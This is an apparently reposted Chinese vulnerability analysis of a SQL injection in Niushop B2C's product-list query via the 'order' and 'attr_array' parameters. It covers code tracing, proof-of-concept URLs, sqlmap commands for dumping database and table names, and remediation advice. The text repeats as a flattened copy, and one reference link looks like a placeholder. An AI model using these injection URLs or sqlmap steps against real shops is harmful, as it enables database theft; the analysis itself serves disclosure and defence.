某Shop前台SQL注入
字数 1285 2025-08-26 22:11:34

某Shop前台SQL注入漏洞分析与利用

0x01 漏洞概述

Niushop B2C商城系统(基于ThinkPHP5.0开发)存在前台SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。该漏洞存在于商品列表查询功能中,涉及两个可注入参数:orderattr_array

0x02 漏洞分析

漏洞位置

漏洞主要存在于以下文件路径:

  • /Application/(wap/shop)/Controller/Goods.php 中的 ajaxGoodsList 方法
  • /data/service/Goods.php 中的 getGoodsAttributeQuery 方法
  • /data/Model/BaseModel.php 中的 getQueryviewPageQueryNew 方法

代码执行流程

  1. 前端请求处理

    • 请求进入 ajaxGoodsList 方法
    • 处理 attr_array 参数(927-936行):
      foreach($attr_array as $k => $v) {
          if(empty($attr_str_where)) {
              $attr_str_where .= "attr_id = ".$v[2]." and attr_value_id = ".$v[1];
          } else {
              $attr_str_where .= " or attr_id = ".$v[2]." and attr_value_id = ".$v[1];
          }
      }
      
  2. SQL查询构建

    • 调用 getGoodsAttributeQuery 方法(937行)
    • 最终进入 BaseModel.phpgetQuery 方法,直接将外部输入拼接到SQL语句中
  3. Order参数处理

    • order 参数未经过滤直接传入 getGoodsListNew 方法(1029行)
    • 最终在 viewPageQueryNew 方法中直接拼接到SQL语句

漏洞成因

  1. 未过滤的用户输入

    • attr_array[][2]order 参数未经过任何过滤处理
    • 直接拼接到SQL语句中执行
  2. 多层传递未校验

    • 用户输入经过多个方法传递,但始终未进行安全校验
    • 最终在底层数据库操作中直接使用

0x03 漏洞验证

测试URL构造

  1. 通过order参数注入

    http://target.com/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7%27&attr_array[][2]=8&spec_array[]=9
    
  2. 通过attr_array参数注入

    http://target.com/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8%27&spec_array[]=9
    

SQLMap利用

  1. 基本检测

    sqlmap -u "http://target.com/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql"
    
  2. 获取当前数据库

    sqlmap -u "同上URL" --random-agent --batch --dbms "mysql" --current-db
    
  3. 枚举表名

    sqlmap -u "同上URL" --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
    

0x04 漏洞修复建议

  1. 输入过滤

    • 对所有用户输入参数进行严格过滤和类型检查
    • attr_arrayorder 参数进行白名单验证
  2. 参数化查询

    • 使用预处理语句(Prepared Statements)替代直接拼接SQL
    • 例如使用ThinkPHP的参数绑定功能
  3. 最小权限原则

    • 数据库连接使用最小必要权限账户
    • 限制Web应用账户的数据库操作权限
  4. 代码修改示例

    // 修改getQuery方法使用参数绑定
    public function getQuery($condition)
    {
        return $this->where($condition)->bind($condition)->select();
    }
    
    // 修改viewPageQueryNew方法过滤order参数
    public function viewPageQueryNew($order)
    {
        $order = preg_replace('/[^a-zA-Z0-9_,\s]/', '', $order);
        return $this->order($order)->select();
    }
    

0x05 影响范围

  • 受影响版本:未明确说明的具体Niushop B2C版本
  • 影响组件:前台商品列表查询功能
  • 危害等级:高危(可导致数据库信息泄露)

0x06 时间线

  • 漏洞发现/报告时间:2019-11-18
  • 漏洞公开时间:2019-11-18

0x07 参考链接

  • 原始漏洞分析:http://www.a.com/asdsabdas
  • ThinkPHP安全指南:官方文档安全章节
  • OWASP SQL注入防护指南:https://owasp.org/www-community/attacks/SQL_Injection
某Shop前台SQL注入漏洞分析与利用 0x01 漏洞概述 Niushop B2C商城系统(基于ThinkPHP5.0开发)存在前台SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。该漏洞存在于商品列表查询功能中,涉及两个可注入参数: order 和 attr_array 。 0x02 漏洞分析 漏洞位置 漏洞主要存在于以下文件路径: /Application/(wap/shop)/Controller/Goods.php 中的 ajaxGoodsList 方法 /data/service/Goods.php 中的 getGoodsAttributeQuery 方法 /data/Model/BaseModel.php 中的 getQuery 和 viewPageQueryNew 方法 代码执行流程 前端请求处理 : 请求进入 ajaxGoodsList 方法 处理 attr_array 参数(927-936行): SQL查询构建 : 调用 getGoodsAttributeQuery 方法(937行) 最终进入 BaseModel.php 的 getQuery 方法,直接将外部输入拼接到SQL语句中 Order参数处理 : order 参数未经过滤直接传入 getGoodsListNew 方法(1029行) 最终在 viewPageQueryNew 方法中直接拼接到SQL语句 漏洞成因 未过滤的用户输入 : attr_array[][2] 和 order 参数未经过任何过滤处理 直接拼接到SQL语句中执行 多层传递未校验 : 用户输入经过多个方法传递,但始终未进行安全校验 最终在底层数据库操作中直接使用 0x03 漏洞验证 测试URL构造 通过order参数注入 : 通过attr_ array参数注入 : SQLMap利用 基本检测 : 获取当前数据库 : 枚举表名 : 0x04 漏洞修复建议 输入过滤 : 对所有用户输入参数进行严格过滤和类型检查 对 attr_array 和 order 参数进行白名单验证 参数化查询 : 使用预处理语句(Prepared Statements)替代直接拼接SQL 例如使用ThinkPHP的参数绑定功能 最小权限原则 : 数据库连接使用最小必要权限账户 限制Web应用账户的数据库操作权限 代码修改示例 : 0x05 影响范围 受影响版本:未明确说明的具体Niushop B2C版本 影响组件:前台商品列表查询功能 危害等级:高危(可导致数据库信息泄露) 0x06 时间线 漏洞发现/报告时间:2019-11-18 漏洞公开时间:2019-11-18 0x07 参考链接 原始漏洞分析:http://www.a.com/asdsabdas ThinkPHP安全指南:官方文档安全章节 OWASP SQL注入防护指南:https://owasp.org/www-community/attacks/SQL_ Injection